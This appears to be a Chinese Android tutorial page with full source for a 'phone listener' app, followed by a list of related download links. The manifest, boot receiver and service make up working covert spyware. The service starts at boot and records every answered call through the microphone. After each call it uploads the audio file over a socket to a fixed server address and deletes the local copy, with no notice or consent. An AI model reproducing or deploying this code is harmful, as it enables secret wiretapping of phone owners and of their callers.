<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.phonelistener"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="8" />
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<service android:name=".PhoneService"/>
<receiver android:name=".BootBroadcastReceiver">
<intent-filter >
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- 在SDCard中创建与删除文件权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<!-- 往SDCard写入数据权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
</manifest>
----------------------------------------------------------------------------------------
public class BootBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent service = new Intent(context, PhoneService.class);//显式/隐式
context.startService(service);//Intent激活组件(Service)
}
}
------------------------------------------------------------------------------------------------
import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;
import cn.itcast.utils.StreamTool;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class PhoneService extends Service {
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
super.onCreate();
TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
}
private final class PhoneListener extends PhoneStateListener{
private String incomingNumber;
private File file;
private MediaRecorder mediaRecorder;
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state) {
case TelephonyManager.CALL_STATE_RINGING://来电
this.incomingNumber = incomingNumber;
break;
case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");
mediaRecorder = new MediaRecorder();
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mediaRecorder.setOutputFile(file.getAbsolutePath());
mediaRecorder.prepare();
mediaRecorder.start();//开始录音
break;
case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态
if(mediaRecorder != null){
mediaRecorder.stop();
mediaRecorder.release();
mediaRecorder = null;
uploadFile();
}
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
private void uploadFile() {
new Thread(new Runnable() {
public void run() {
try {
if(file!=null && file.exists()){
Socket socket = new Socket("192.168.1.100", 7878);
OutputStream outStream = socket.getOutputStream();
String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
outStream.write(head.getBytes());
PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
String response = StreamTool.readLine(inStream);
String[] items = response.split(";");
String position = items[1].substring(items[1].indexOf("=")+1);
RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
fileOutStream.seek(Integer.valueOf(position));
byte[] buffer = new byte[1024];
int len = -1;
while( (len = fileOutStream.read(buffer)) != -1){
outStream.write(buffer, 0, len);
}
fileOutStream.close();
outStream.close();
inStream.close();
socket.close();
file.delete();
file = null;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}).start();
}
}
}
相关推荐
android服务自启动Service以及BroadcastReceiver和Notification.zip
android service Notification BroadcastReceiver Intent 安装的服务开机自启动,service定时的打印消息,消息同时显示在通知栏,窗体界面的跳转,自定义控件的开发。系统广播,定时广播,轮询广播等。...
初中级Android开发社招面试之Service及BroadcastReceiver
初中级Android开发社招面试之Service及BroadcastReceiver
Android 使用Service和BroadcastReceiver实现音乐播放功能 Service demo中service使用得是新的进程,activity和service日志需要切换进程才能看到,这里是最典型得activity和service交互的过程, activity传递信息很简单...
这是一个关于Android中四大组件之一 —— BroadcastReceiver,即广播的一个demo,里面涉及到BroadcastReceiver的两种注册方式,也简单的实现了广播,通过点击按钮发送广播,收到广播后打印日志。
Android断网时通知,基于BroadcastReceiver和service的实现,当网络发生变化时使用BroadcastReceiver和service通知用户, 调试时请下载mockable-android-23.jar类库到build\generated目录下。
android中定时有很多种是实现,常见的Handler 与Thread的结合,handler.postDelayed ,以及要使用的AlarmManger 等都可以实现定时任务的执行,但是使用场景却大不相同,这里主要是怎么用AlarmManager实现定时任务。...
Android学习之BroadcastReceiver总结
Android Service与BroadcastReceiver、bindService示例详解,代码非常详细,详解博客网址:http://blog.csdn.net/sunboy_2050/article/details/7364024
对应于博客中的例子: 有:定时任务,发送短信,状态栏通知,行车模式,夜间模式,唤醒锁,音量设置, 开机自启设置,拍照设置,等
介绍了andorid四大组件之一的BroadcastReceiver
广播,这个诞生于1906年的科技产品,持续...Android通过广播机制,能够让订阅者接受到想听到的广播,并进行进一步的处理和操作。如果你想在虚拟的android世界中创建属于你自己的电台广播,那么就赶紧点击本集视频观看吧
播放音乐,我们需要在AndroidManifest.xml文件添加权限 创建Service,需要在AndroidManifest.xml文件配置 现在我们创建了一个叫做MusicService的...import androidx.appcompat.app.AppCompatActivity; import an
NULL 博文链接:https://wilian.iteye.com/blog/966475
android BroadcastReceiver 源码 学习
BroadcastReceiver——Android四大组件只一——广播
Android BroadcastReceiver
7.5 Android应用的灵魂——Intent和Activity介绍与实例 7.5.1 实例操作演示 7.5.2 实例编程实现 7.6 用好列表,做好程序——列表(ListView)介绍与实例 7.6.1 实例程序演示 7.6.2 实例编程实现 7.7 友好地互动交流...